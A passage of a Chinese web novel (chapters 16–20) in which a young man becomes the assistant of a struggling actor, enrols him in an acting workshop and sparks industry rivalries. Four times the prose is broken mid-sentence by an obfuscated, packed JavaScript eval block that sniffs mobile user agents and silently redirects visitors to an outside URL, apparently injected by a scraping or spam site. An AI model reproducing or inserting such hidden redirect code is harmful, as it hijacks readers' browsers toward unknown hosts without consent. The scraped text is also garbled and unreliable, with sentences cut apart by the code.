俞悄猛地扣上手机,抬眼盯着叶幸司。 “我决定了,要继续当你助理。” “无人在意。”叶幸司正收拾俞悄吃了一桌子的包装纸。 “得想办法把你演技提上去。” 俞悄也完全不在意叶幸司的态度,认真做着计划。 “然后我要帮你接戏,接适合你的戏。” “我还不信了,我非得让你火。” 俞悄一个人在那壮志凌云,叶幸司的手机跟唱歌似的,在旁边桌上连着嗡嗡。 “打断我思路……”俞悄拿过来看了眼,“微信电话。” “谁?” “神经病。”俞悄说,“怎么给备注这么个名儿,谁啊?” 叶幸司没说话,接过手机接听,直接打开公放。 “哈哈哈叶哥,我看见你广告了!”一串兴奋莫名的笑声,清清脆脆地爆发出来。 俞悄眼珠子都惊圆了。 蒋雨池! “怎么那么神啊,这剧本谁寻思的?你俩楼梯相遇那一段……”蒋雨池又看一遍,笑得直倒气,“你是真想演啊!” 叶幸司见怪不怪,俞悄无语地想笑。 果然如纪繁西和叶幸司所料,蒋雨池对于这次热搜一点没紧张,中午广场都快被屠了都没见他找过来,刷到叶幸司广告竟然专门打过来嘲笑。 活神经病吗这不是。 “你是叶幸司粉丝吧?”俞悄忍不住问了句。 蒋雨池笑声一刹:“你谁啊?” “助理。”俞悄看看叶幸司,叶幸司没拦着,觉得他挺好玩似的瞥过来一眼。 “你扔我牌子干嘛?”蒋雨池听出来俞悄的声音,立马咋呼起来,“你闲的啊?” 这人从某种角度来说,也是十分真实——只要没镜头,低劣的品质是一点不藏着。 俞悄经过今天一役也放开了,蒋雨池都不怕他怕什么。 “你粉丝都不要了我扔垃圾怎么了?”他跟蒋雨池对骂,“‘物似主人型’真没说错你。” “我粉丝多酸完了吧给你俩,真没素质。”蒋雨池冷笑。 “你有素质!”俞悄抻着脖子冲手机嚷。 “比你有素质!”蒋雨池比他声儿更大。 叶幸司把俞悄脑袋推开,拿起手机问:“你买的热搜?” “也是让你蹭上数据了叶哥,”蒋雨池没正面回答,哼哼着,“心里其实乐开花了吧。” “但是我说真的,哈哈哈你这个演技,以前……” 叶幸司把电话挂了。 手机又“嗡嗡”两声,蒋雨池打不了电话就发消息,一个聊天界面隔三差五的,几乎全是他在自言自语。 “不是,他神经病吧!”俞悄气得在旁边叉着腰。 “你也挺有病的。”叶幸司点评道,“小孩儿掐架呢?” “你俩有这么熟吗?”他在《塌房》也没感觉出来啊,一个总犯贱一个不爱搭理的。 不过细想想,如果真是不熟,蒋雨池再虎,应该也不敢直接在飞机上暴露本性。 叶幸司不解释,俞悄也捋不明白,只感觉这破娱乐圈越接触,越跟想像中的光鲜截然相反。 一堆神经病扎堆简直。 第二天上午十点,《塌房》凑热闹不嫌事儿大,借着热搜事件的余温,放出了第一期正式预热的宣传片。 当时俞悄正在他老姨的办公室,要求重新回来给叶幸司当助理。 还得是正式员工,五险一金拿工资的那种。 拉俞悄去做临时工的是纪繁西,这会儿俞悄真对这工作感兴趣了,她又开始迟疑了。 “玩玩得了,你还真打算在这行发展?” “怎么的呢。”俞悄去拿桌上的小零食吃。 “又不是什么好地方。”纪繁西说,“吃苦受累的,熬出头了也就到我这个位置。你爸妈也不能愿意啊,一家子拿你当宝贝似的。” “那你捧我当明星吧。”俞悄激她,“咱家这基因,感觉给我包装包装,也能放出去见人。” 他知道纪繁西不能同意。 从俞小雨开始追星,纪繁西就警告过他们兄妹俩:追着玩可以,有她在业内,他们家人就别动进娱乐圈的心思。 “想都别想。”纪繁西果然一口回绝。 她在电脑上点了几下,朝俞悄挥挥手:“办入职去吧。” “得亏我对当明星没兴趣。”俞悄给纪繁西递了个奶片,“要不有你这老姨,不得气死。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832311|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你还敢让我去上《塌房》,万一节目爆火,我火了呢?”他好奇地问。 “我在这圈子混的时候,你还在院子里玩沙子呢。” 纪繁西冷笑一声。 “能不能火命里带的。跟别人不可能,跟叶幸司我可太放心了。” 这话也太刻薄了。 俞悄现在已经完全代入了叶幸司助理的角色,有点儿听不了诋毁。 “那你不是也没放弃他。”他问纪繁西,“还挺惯着,他乐意干嘛就干,不乐意也没见你把他解了。” “情况不一样。”纪繁西作头疼状。 不说拉倒。 俞悄把奶片嚼完,出去办入职,听见纪繁西在身后又轻声咕哝一句:“不过这一次,对叶幸司说不定还真是个机会。” 他攥着门把手回头。 纪繁西朝他晃了晃手机。 《塌房》这个节目组有个魔力——总是整些跟节目主题不相干的活。 连宣传片也是。 第一期预告只剪了他们去村里的部分,十个嘉宾第一次漏脸的镜头挨个闪过,每组嘉宾商量怎么出行的主镜头,都像在吵架。 俞悄就着纪繁西的手机看完,第一感受是在这种节目里看到自己,还是很不真实。第二感受,总觉得像看了个密室逃脱大电影的预告。 “挺休闲一节目,咋剪这么阴森呢?” 他表示不满,把进度条拉来拉去。 “也没我们几个镜头,光可着蒋雨池他们剪啊?” “这不是吗,”纪繁西费了个大劲,找出来几个镜头,“这不你俩吗,坐个拖拉机。” “那不立马就把噱头切给蒋雨池的驴车了?”俞悄又点一下屏幕,“小劳。” 片尾的驴叫声适时传出来,纪繁西笑得不行。 “你别说,这蒋雨池,还真是吃娱乐这碗饭的料。” “所以热搜到底是不是蒋雨池那边买的?”俞悄问。 “目前你还不需要考虑这些。”纪繁西摆了摆手,不知道在神秘什么。 蒋雨池的公关团队提前做好了准备,在《塌房》官方放出宣传片的同一时间,从正主到各大营销号,提前编辑好的文案一同放出。 各大粉头更不必说,该转发的转发,该买热搜的买热搜,上下一心,用新综艺来转移昨天的负面热度。 娱乐圈真的就是一块蛋糕。 俞悄觉得自己又悟到了些真东西。 进入这名利场中的每个艺人都野心勃勃,大家表面上歌舞升平,你方唱罢我登场;背后拉踩撕逼,无所不用其极。 喧闹的背后,更是各方资本虎视眈眈的觊觎,像一头头隐匿的野兽,不放过任何一缕游丝般的机会。 如果真能让叶幸司也跻身到这圈中心…… 俞悄搓搓脸,搞得他有点小燃。 办完入职的事儿,他马不停蹄去找自己艺人,叶幸司坐在休息室,正在看《塌房》的官博。 叶幸司昨天的热搜事件,狠狠涨了小一百万粉,十分夸张,搞得俞悄都有点赞同蒋雨池那句“蹭热度”。 不过今天他这边已经没多大动静了,热搜榜完全被蒋雨池霸占着。 “咱们是不也得买点热搜啊?”俞悄在他旁边坐下。 刚忘问纪繁西了,买热搜的钱得是他们自己出,还是公司给处理。 “没必要。”叶幸司把手机揣起来,“都弄完了?” “嗯呢。”俞悄很有仪式感的朝他伸出手,“从现在开始,我就是你的正式助理了。” 叶幸司越过他往外走。 “干嘛去啊,又没什么活等着接。”俞悄蹦起来拦住叶幸司,“我给你想好了,你的下一个任务。” 17.第 17 章 叶幸司被堵着门,只好停下来看他。 “你去上课。”俞悄把手机支到叶幸司脸前。 “我给你报了个表演班。” 这不是俞悄临时起意。昨天看洗发水广告的那些评论时,他就下定决心,要把叶幸司的演技给提上去。 为这事儿,他今天来办入职前,专门提前给纪繁西打电话,问她有没有什么好方法。 纪繁西想了想,随口提了句视协的演技培训班要开第三期,是有国家补贴,专门面向业内的一个活动。 前两年举办的时候,指导老师请的都是各大表演学院的教授,连学员都是叫得上号的各方明星。 群星云集,一起生活学习一周,这其中所隐藏的人脉与资源,让这个活动早已不单单是个培训班那么简单。 不过俞悄目前还想不到这些,他搜了搜这一期学习班的导师阵容,确实都是电视里常见的实力派演员。 一起录塌房的艾浩也在。 他挺高兴,觉得正是叶幸司现在需要的东西,纪繁西说有门槛他也没管,撂下电话就去给叶幸司报了名。 “不去。” 结果叶幸司只看了一眼,张嘴就是拒绝,拉开门往外走。 “神经病?”俞悄怀疑叶幸司脑袋被驴踢了,瞪着眼追上去。 “又怎么惹你了,多好的机会,干嘛不去啊?” 叶幸司不吱声,只是往外走。 “说话!”俞悄跟在后面拳打脚踢。 问急眼了,他直接助跑两步,一个大跳挂人脖子上,掰叶幸司脑袋。 “再给我不吭声?怪不得纪姐说你难伺候,那其他节目你不爱上不上了,表演培训班你装什么装?” “不是你说只想拍戏,那演技稀巴烂拿啥接戏啊?” “问你呢!小哑巴。” 俞悄是真着急了,嘴跟蹦豆似的一顿说。 走廊上路过俩工作人员,以为他俩闹着玩,还捂嘴跟着乐。 叶幸司一天背着八百斤包袱,估计是丢不起这人,俞悄扑他背上时他就顿了一下。 他闭闭眼,沉下嗓子开口:“下来。” “你好好跟我说。” 俞悄给坡就下,原地站好,扳着叶幸司的胳膊,让俩人面对面。 “为什么不愿意去?” 叶幸司把他手机抽出来,划拉两下,重新扔给俞悄:“看见要求了吗?” “看了啊。我都把报名表给你填完了。” 俞悄对着报名要求念:“从业五年以上,有两部主要作品,或在具有一定知名度的影视剧中,参演过重要角色。” “你填的什么?”叶幸司问。 “恋爱甜甜圈。”俞悄说。 叶幸司脸一挂。 “又噜噜脸。” 俞悄自己说这剧名也想笑。 “它光说有要有一定知名度,也没说要好剧烂剧,那黑火不也是火?” 俞悄把纪繁西的话搬了出来。 这会儿他觉得非常有道理。 “还有你和左槊搭过的戏,反正能写的我都写了。”俞悄稍微说了句人话。 “那能算?”叶幸司眉心拧了起来,“多久的事了。” “怎么不算?”俞悄认为叶幸司完全就是包袱太重,想得太多。 他一直知道叶幸司和影帝搭过戏,但从没好好找出来看过。 昨晚决定要帮叶幸司提演技后,他连夜把叶幸司口碑稍好点的作品,尤其是左槊那部电影,翻出来从头到尾看了一遍。 是部很早的古装戏,左槊扮演一个侠客,那时候的叶幸司还是个小孩儿,角色是被屠村后仅剩的活人。 左槊经过还泛着血腥气的村庄,要讨碗水喝。七八岁的叶幸司站在死人堆里和他对视,去井里打了半桶暗红色的血水,舀了一碗,递给坐在马上的左槊。 侠客望着小孩的眼睛喝完这碗血水,提溜起小孩的脖子,扔到自己的马背上。 从此小孩就成了左槊的徒弟。 下一秒镜头切换就是十多年后,已经成年的小孩换了其他演员。 说是叶幸司和影帝左槊的对手戏,实则全程只有几十秒,叶幸司被抹得像个花脸猫,也没台词。 俞悄看得时候按了暂停,截图细细咂摸,才看出小孩眉眼间那股子叶幸司的味道。 ——从小就一股寡劲儿。 这片子拍得有些文艺,在当年并不叫座,也是影帝左槊最冷门的一部电影。 可俞悄看完后,脑子里却总浮现出小叶幸司站在死人堆里,木着一双乌黑的眼睛,给左槊递水的画面。 “我真挺喜欢的。”他对叶幸司说,“有种很安静的震撼。” 叶幸司眉梢动动,抱着胳膊往墙上一靠。 “就爱听点好听的,是吧。”俞悄逗他 “当时拍完那个小孩,应该会有不少剧组找你吧?要是抓住机会,咱也算是童星了。” “有。”叶幸司耷了耷睫毛,“年龄小,家里没让接。耽误上课。” 俞悄点头,表示理解。 “说不定左槊也会去呢?”他继续鼓励叶幸司,“所以我报名这事儿有毛病吗?” “不是你报不报的事。”叶幸司的语气松缓了些,“是选不上。” “你试过?” 叶幸司又沉默了。 沉默就是答案。 “没事。”俞悄自信满满,撞一下叶幸司的胳膊,“现在你有我。哥们儿有门路。” 他正要跟叶幸司具体筹划,俞小雨的电话拨了进来。 “哥!”小姨娘电话那头的声音带着哭腔,背景音乱糟糟的,“你来舞蹈班接我呗?” “怎么了?”俞悄一听这腔调,拔腿直接往电梯走,“地址发我。” 按下楼层键,他又回头把叶幸司给拽上。 “跟我一起去,我还没跟你聊完。” 叶幸司皱了下眉,不太情愿地问:“什么事?” “我妹让人揍哭了!”俞悄说。 他这话说得斩钉截铁,铁中还带着点习以为常。 ——俞小雨是个娇气包,雷声大雨点小的事干多了,俞小从小就给她擦屁股,只要打电话还能撒娇,那就没什么大事儿。 但当哥哥的,听见自己妹妹那个要哭不哭的死动静,肯定还是心急。 叶幸司听他这么说,就没再拒绝。 他跟着俞悄进电梯,从兜里掏出张黑口罩,撕开外包装给自己戴上。 “又开始了。”俞悄一看他这样就想乐,“墨镜也整上呗。” 叶幸司煞有其事:“那太张扬了。” 张不张扬,跟一副墨镜其实没多大关系。 俞悄风风火火的,带着个腰高腿长的叶幸司直奔舞蹈班,给看门大爷吓一跳。 俞小雨报的这个班很有名气,俞悄一个对这方面毫不关心的人,都记得在哪听说过。 独栋的二层小楼,一楼是接待区,他没瞅见俞小雨,一边拨电话一边上二楼。 叶幸司保持一米距离,在身后不紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841497|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不慢的跟着。 隔着全透明的玻璃墙,他在街舞教室里看到了俞小雨。 小女孩坐在长方凳上抱着条腿,旁边围着两个女同学,叽叽喳喳的。 一个扎着高马尾穿着黑背心,看起来像是老师的人蹲在旁边,正往她脚上喷什么东西。 十有八九是扭着脚了。 “俞小雨!”俞悄松了口气,推门进去就骂。 “你还学上街舞了,一天手眼不协调玩个游走都费劲……扭着了?” 俞小雨上一秒还跟她朋友嘻嘻哈哈,听见俞悄声音,嘴角立马扒拉下来。 “哥——”她拖着嗓子,委屈巴巴的,“疼死了!” “好好说话。”俞悄听不了她这腻歪腔。 他往教室里走,叶幸司没继续跟,抱着胳膊朝门框上一靠。 俞小雨眼睛一亮,目光越过她哥,标在叶幸司身上:“那是谁?” 另外两个小姑娘瞅着俩人,也跟着眼珠子冒光。 俞悄没理,他的注意力在俞小雨老师身上。 这人挺靠谱,还在给俞小雨喷药。俞悄瞧他背影,半蹲着都能看出修长细挑的身型,有点拿不清这人是男是女。 还有点莫名其妙的熟悉。 他开口想打个招呼:“老师你……” 高马尾应声回头,漏出一双妖气横生的狐狸眼。 俞悄脚步猛地一停:“滚。” “嘶——”三个小女生整齐齐的倒抽凉气。 怪不得熟悉,这人竟然是酒吧那个小蜡! 跟周行东勾肩搭背那个! 小蜡被人兜头一 滚,倒是没生气。 认出俞悄,他“啊”一声,眼睛和嘴角一起弯弯的拱了起来。 “是你啊,好巧。”小蜡盖着药瓶站起身,朝俞悄晃晃手里的喷雾,“我先不滚吧。” “你俩认识啊?”俞小雨傻着张脸问。 俞悄不说话。 小蜡冲另外两个女学生抬抬下巴:“你们先回去,我跟小雨哥哥说说情况。” “我俩在这也不碍事啊。”其中一个小女孩闻到瓜味儿,不想走。 小蜡朝门口指,示意她俩麻溜的。看到靠着门框的叶幸司,他眉梢往上挑了挑。 俩小女生一步三回头的往外走,经过俞悄,小声嘀咕了句“哥你好帅。” 经过门口,又传来一声:“哥你也帅。” 俞悄生怕叶幸司抽风,听人一夸再掏根笔非要给人签名,赶紧回头瞅。 好在叶幸司还没癫到那份儿上,大黑口罩稳稳当当捂着脸,也在往他这看。 “新的?”小蜡朝俞悄挤了下眼。 “你是不是有病?”俞悄看他这没正形的样儿就烦。 他拉起俞小雨要走:“赶紧回家。” “什么新的?”俞小雨单脚蹦跶着,晃晃悠悠也不忘八卦。 “慢点。”小蜡看不下去,上前掺了俞小雨一把,“脚还肿着呢。” 俞悄往他鞋上踩了一脚。 “你真是……” 小蜡被他这原始且幼稚的愤怒逗笑了,看小孩儿似的,松开手后退一步。 “让小雨在这等会儿,你来,我有话跟你说。”他朝俞悄勾勾手。 跟逗狗似的。 “我跟你没话说。” 俞悄嘴上拒绝,还是怕碰着俞小雨的脚,把她放回凳子上。 小蜡一脸玩味,观察着俞悄的表情。 “不跟我说,我可给东哥打电话了啊。” 18.第 18 章 不提周行东还好,听见这名字从小蜡嘴里说出来,还那么理直气壮,没事儿人一样,俞悄一股火直接咕嘟到嗓子眼。 要不是俞小雨还抻着脖子在旁边看,他真的会直接骂出来。 ——他不怕别人知道他性取向,家里大人该知道的基本都知道。 但是周行东和小蜡俩人太埋汰了,他怕小蜡真没遮没拦的,在俞小雨面前瞎咧咧。 忍了好几忍,俞悄憋着一口窝囊气,转身往外走。 他也带点好奇,倒要听听小蜡想说点什么。 “帮我看着点儿我妹。” 走到门口,俞悄冲叶幸司交代了句。 叶幸司没吱声,侧侧身子避开。 他俩也没走远,俞悄不情愿跟小蜡单独待着,他总觉得这人邪性。 跟着小蜡往楼道口走几步,估摸着叶幸司应该听不见了,俞悄就往走廊里一杵,一步不再动。 “要说什么?”他开门见山。 “我跟你东哥什么事儿也没有。”小蜡也十分直白。 俞悄看着他坦荡的神情,满脑子都是那天酒吧里的画面,以及周行东的态度。 “你亏不亏心啊?”他简直有点佩服小蜡的厚脸皮了。 “信不信随你。”小蜡没跟他争,好像也不怎么在意,“我跟他高中就认识了,真要有什么压根轮不上你。” 这话也是周行东当时的意思。 老恶心了,属于那种乍一听不犯毛病,可怎么听怎么烦的恶心。 “而且东子其实挺……”小蜡还想继续说,俞悄直接开口打断了他。 “你俩到底有没有什么,根本就不是重点。” 他正色望着小蜡。 “重点是,他当时不是单身,而你也知道我是谁,却依然一点边界感都没有。现在依然没有。” “你这种人我很烦。你们到底什么关系,我也没有兴趣。” “还有事吗?” 小蜡的脸上,始终保持着那种半笑不笑的表情。 听着俞悄这些话,他毫无波动,眼里的笑意还更深了。 “我现在倒是有点喜欢你了。”小蜡说。 “你滚!”俞悄简直要崩溃。 听不懂人话! “不是那个喜欢。”小蜡表示投降,“咱俩撞号啊,哥们儿。” “什么撞号?”俞悄本来转身要走了,又好奇地停下来。 “装什么呢。”小蜡“啧”一声,“你跟那位难道你在上面?” 俞悄顺着小蜡暗示的方向扭头,跟叶幸司目光撞了个正着,瞬间尴尬得头皮直发麻。 “那是我朋友!”他红着脸解释,还得压着嗓子用气声,“当谁都跟你似的!” “啊。”小蜡拖着嗓子应了声,“那你加我微信吧。” 他自言自语着就要掏手机。 俞悄掉头就走。 “跑什么啊?” 小蜡还大着个脸乐,跟在身后扒拉他。 就那么会儿说话的功夫,俞小雨身残志坚,单腿蹦着要去认识一下叶幸司。 叶幸司还在门口打量那两货,余光瞥见俞小雨竟然站起来了,眉心一蹦,赶紧去给她拦回去坐着。 “哥你好帅。”俞小雨东倒西歪的坐回去,满脸都是对帅哥纯粹的赞美。 叶幸司扶着俞小雨的胳膊肘,礼貌地微微颔首。 搀人坐下难免会靠近,叶幸司耷拉着睫毛避嫌,俞小雨瞪俩大眼珠子,直勾勾往人眉眼上瞅。 “啊!你是不是……你是那个!” 她突然惊呼一声,跟她哥当时在电梯抓到叶幸司一模一样。 “这两天那个洗发水!” 叶幸司一顿。 “对对对,我哥给我拍过你!”俞小雨激动坏了,“我靠,本人更帅啊!” “谢谢。”叶幸司说,“先坐好。” “能合影吗老师?”俞小雨没点深沉,肿着脚脖子掏手机。 叶幸司把口罩拉下来,没跟俞小雨坐一起,站在旁边微微侧过身,两条胳膊背在身后。 俞悄恨不得拳打脚踢,才把小蜡摆脱掉。 他冲回教室,把俞小雨背起来就往外走,跟头牛似的。 “小蜡老师我先走了!”俞小雨没心没肺的,趴在他哥背上,扭头跟小蜡拜拜。 “记得冰敷哦。”小蜡也跟着喊。 敷敷你的脑子吧。 俞悄在心里喊。 把人放车上了,俞悄才想起来问俞小雨:“怎么扭的?疼得厉害?” “动作不规范呗。”俞小雨没啥大事,这会儿已经感觉好差不多了,“没事,回家吧,热死了。” 她现在最关心的完全不是自己的脚,在后座叽叽喳喳说个没完。 “哥你现在真当上叶老师助理了啊?” “叶老师本人好帅啊!” “叶老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞悄一下就不尴尬了,摔摔打打地给自己扣安全带:“没一个精神正常的。” 19.第 19 章 关于性取向的话题,叶幸司和俞悄很有默契,都没有再提。 俞悄专门用几天时间来观察,叶幸司知道他喜欢男人后,会不会故意跟他拉开距离。 一段时间后,他发现这观察毫无必要。 ——叶幸司知道之前也不爱搭理他,两人的相处与先前没有任何区别。 俞悄天天叽叽喳喳,叶幸司保持死装。 经过俞悄坚持不懈的叽喳与鼓吹,外加一顿丰盛的午饭,叶幸司终于放下包袱,同意了报名表演培训班。 其实问题的关键并不是他同不同意,得是人家组织协会让不让他来。 偏偏俞悄是个初入职场的愣头青,上面还有人。 “你给我当姨吧。” 纪繁西真要被这个亲外甥给磨死了。 “我就是个经纪人,多大的脸啊,国字头的活动,你让我给你往里塞人?” “我不管。” 俞悄往她办公室一赖,窝在沙发里造零食。 “你都端走吃。”纪繁西气得把零食盘往前一推。 “那不你给我推荐的这个培训班吗?你还是叶幸司经纪人,你不帮他谁帮他?” “我让你去找个正经班上你怎么不听啊?”纪繁西瞪眼。 俞悄装死。 纪繁西当时说这个培训班时,根本没想着俞悄真会去报。 俞悄问她知不知道什么表演班,她忙得脚底板打后脑勺,想到这个就随口一提,还专门补充了句有门槛。 结果这小孩听话光听一半。 “这个确实卡名额。”纪繁西苦口婆心,“戏剧学院有个老师有班,我帮你安排他去那上课,行了吧?” “谁啊?有名吗?”俞悄问。 纪繁西报了个名字,他用手机一搜,是个演员,头衔挺多,但没咋看过这人的戏。 “不去。”俞悄手机一撇,“我就看上你说的那个了,我们要去就去最好的。” 纪繁西给了他一脚。 本质上来说,俞悄跟他妹俞小雨一个德性,从小家里宠着,想要的东西没有弄不来的,永远都是小话一撂就等结果。 再一个,纪繁西说话有时候水分可大了,天天叫苦,天天成功。谁知道这事儿是真难办假难办。 俞悄肯定得先奔着最好的去,实在去不了,也还有别的选择。 他就这么信心满满的等着,过了一星期,还真等来了好结果。 叶幸司的报名表通过了。 纪繁西的电话和培训班通知是同时到的,对着俞悄劈头就是一顿骂,说为了他一时兴起,几辈子人脉都搭上了。 这话属实有点夸张。不过俞悄是只要结果好,挨骂都乐呵的性格。 他笑嘻嘻的跟他老姨说了一箩筐好话,提上鞋就往叶幸司家跑。 叶幸司对这事儿压根就没报期望,他是被俞悄磨叨烦了。 而且在这个圈子里,他也习惯了从来没有好消息。 见俞悄大老远跑来,亮着眼睛跟他说通过了,鼻尖还冒着汗,叶幸司盯着他看了半天。 “让我进去啊,在这杵着干嘛,屋藏人了?” 俞悄嘴里跑火车,人也跟辆车似的,从玄关直开到厨房,自己找水喝。 “这破天,秋老虎真厉害啊。你这怎么跟桑拿房似的,空调也不开。” 俞悄太兴奋了,用手扇风,把饮料瓶子贴脸上。 “不热。” 叶幸司浑身干干爽爽的,又看他一眼,去卧室拿空调遥控器。 俞悄跟在他屁股后面,把纪繁西跟他说的那些欠人情的话,添油加醋地又向叶幸司复述一遍,以示公司对他的重视。 “你们是什么关系?”叶幸司问。 “我和纪姐?”俞悄想想,这要是说一点关系没有,傻子也不能信。 关键他不想瞒着叶幸司,让他知道也没事,就不是多嘴的人。 “我老姨。” “嗯。”叶幸司点下头,果然没多问。 叶幸司的反应非常平淡,跟俞悄一个天上一个地下。 要搁别人,俞悄得觉得扫兴。 但这人是叶幸司,有多装他门儿清,指不定心里乐啥样了。 果然,他叽里咕噜一堆叶幸司都没咋应声,就在那捣鼓电脑。 俞悄凑过去一看,叶幸司正研究去培训班的车票呢。 培训班每年组织的地方不一样,除了上课,还得安排点采风什么的活动,基本都定在景区。 去年的基地都定西藏去了,今年还行,就在隔壁省一个挺有名的旅游山庄。 “29号报道,集训一周。”俞悄坐沙发扶手上,小孩一样,晃悠着腿算时间。 “我跟你一块儿啊?”他把脸歪到叶幸司眼前。 叶幸司滑鼠标的手指停一下,往后靠:“不然呢?” 俞悄嘴角控制不住想往上翘。 他现在越来越觉得叶幸司有意思,时不时逗一下,跟逗狗似的。 “就得让人跟着,离了金牌助理一星期都不行。是吧?” 叶幸司又懒得理他了。 “起来。”俞悄往座椅里挤,接管鼠标控制权,麻利给两人定好票。 “我得买点新衣服,”他边订票边合计,“这回真是大场面,不能跟上次录综艺似的那么草率。” 俞悄现在的心态,跟当初去《塌房》时比起来,已经完全不一样了。 机场事件让他明白了一件事——一个艺人的形象,绝不单指艺人个体,往小了说包括助理,往大了说整个团队、甚至粉丝素质,都是构建艺人形象的重要一环。 他微博到现在还有人骂呢。 以前不懂事,现在他是叶幸司正经助理了,去正经场合,肯定不能太随意。 俞悄专门换了个大旅行箱,准备了好几天,想象着和叶幸司一起出发时,俩人光彩照人的样子,那不得帅爆了。 到了出发那天,叶幸司反倒跟之前的状态不一样了。 “这么朴素呢?”俞悄挺稀罕地围着叶幸司看两圈。 叶幸司跟上次去录真人秀比,简直是判若两人。 那次有多花枝招展,这次就有多干净,简单的无袖高领黑T配牛仔裤,除了标配的墨镜帽子口罩,没有任何多余的配饰。 唯一骚包点儿的小心思,展现在叶幸司手里拎着的皮夹克上。 既没到穿这种衣服的时候,也不会有人来给他拍机场look,不明白男明星在潮流什么。 “去上课的,又不是干嘛。” 叶幸司反手从裤兜里掏出证件,递给俞悄。 俞悄低头整整自己衣摆:“那我是不是有点高调了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856708|157721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>叶幸司转过头,隔着墨镜,俞悄都能看到他眼里的疑惑。 “跟平时有区别吗?”叶幸司问。 “你滚。”俞悄劈手把证件夺过来。 培训班的接人安排很到位,专门准备了接车大巴,分别前往机场和各大站等着。 俞悄到站后联系负责人,上了车才知道不是每个学员都跟大巴走,他和叶幸司在车上坐了半天,只有两个完全不认识的艺人来跟车走。 互相简单的点点头,就都找位置坐下,没交流。 直到快发车,终于上来了熟悉的身影。 艾浩和他的助理小陈。 “哎,浩哥陈哥!”俞悄挺开心地主动打招呼。 艾浩这次是以导师的身份被邀请来的,学员名单一公布,小陈就给俞悄发了消息,问他来不来。 录完《塌房》后,俞悄跟这群人就没再联系,他潜意识里觉得这圈子是利己冷漠的,所以收到小陈消息,还挺感动,一下觉得俩人关系都拉近不少。 艾浩也没端架子,车上人跟他打招呼都应了,然后带着小陈在叶幸司他俩前面一排坐下。 “哎,真折腾。”他侧过身跟叶幸司开玩笑,“这回你可得喊我一声老师了。” “应该的。”叶幸司翘翘嘴角,“浩哥刚杀青?” “是啊。”艾浩掏手机回消息,“酒都没喝上一口,出了片场就坐飞机往这赶。” “我看你前阵子上热搜了啊?”艾浩笑着抬起眼。 “乌龙。”叶幸司也笑笑。 他俩聊到热搜事件,小陈回头跟俞悄说悄悄话:“是被买的吧?” “啊。”俞悄听出他是指蒋雨池,打了个马虎眼,“不知道。反正哥们儿是火了一下。” 小陈乐得不行:“你心也是大。挺好。” 大巴驶进山庄,天色已经擦黑了。 车一停在主园区的酒店门前,专门的工作人员就上来接引,给每个学员办入住。 “C703,C704。”俞悄接过他和叶幸司的房卡,看了眼小陈的,A1602。 “C是指楼层?”他扭头问。 “是区域楼号。”工作人员做出有些抱歉的表情,轻声向他解释,“A区的房间满了,所以有一部分老师要辛苦一下,去后面的C区。” “好。”俞悄点点头。 原本他确实没多想,但是到房间后,打开日程表细细一看,发现主要活动全在A区。 今晚八点的聚餐,A区一楼自助餐厅。 开会和上课的教室,在A区的大会议室。 就连日程表上的学员住宿,都写着A区。 “什么意思啊?”俞悄跑到叶幸司房间抗议,“几十口子都安排得下,没我们住的地方了?” 他双指放大,把屏幕递到叶幸司眼前让他看。 “你们圈子怎么总搞这事儿啊?” 叶幸司似乎拥有对一切不公平待遇免疫的能力,他正蹲地上开行李箱,淡淡道:“不也有其他人住吗。” 是有,刚大巴上有两组人,跟他们一样被安排在C区,还一块拖着箱子过来的。 两个比叶幸司还糊的小演员。 不细琢磨还好,琢磨完俞悄更不爽了,盘在床沿上生闷气。 叶幸司收拾完东西起身,摁着他的脑袋晃了一下。 20.第 20 章 生气归生气,自家艺人几斤几两,是怎么塞进来的,俞悄心里有数。晚上的聚餐他俩还是收拾了一下,精精神神的过去。 这次的阵仗跟《塌房》比起来真是大多了。 一进宴客厅,虽然都穿着日常的衣服,可一堆专业演员的气质,依然显得光彩熠熠。 好几个电视上总能看到的老演员就在眼前,俞悄又感觉像做梦似的。 他看见艾浩了,跟几个看起来很权威的人物站在一起,人手一杯酒,说说笑笑着。 仿佛他们不是置身在一桌自取炒面和粥水前,而是在候场什么颁奖典礼。 艾浩的助理小陈藏着桌子后面吃春卷,这是在场里俞悄唯一能聊天的人,但此刻显然不是打招呼的好时机。 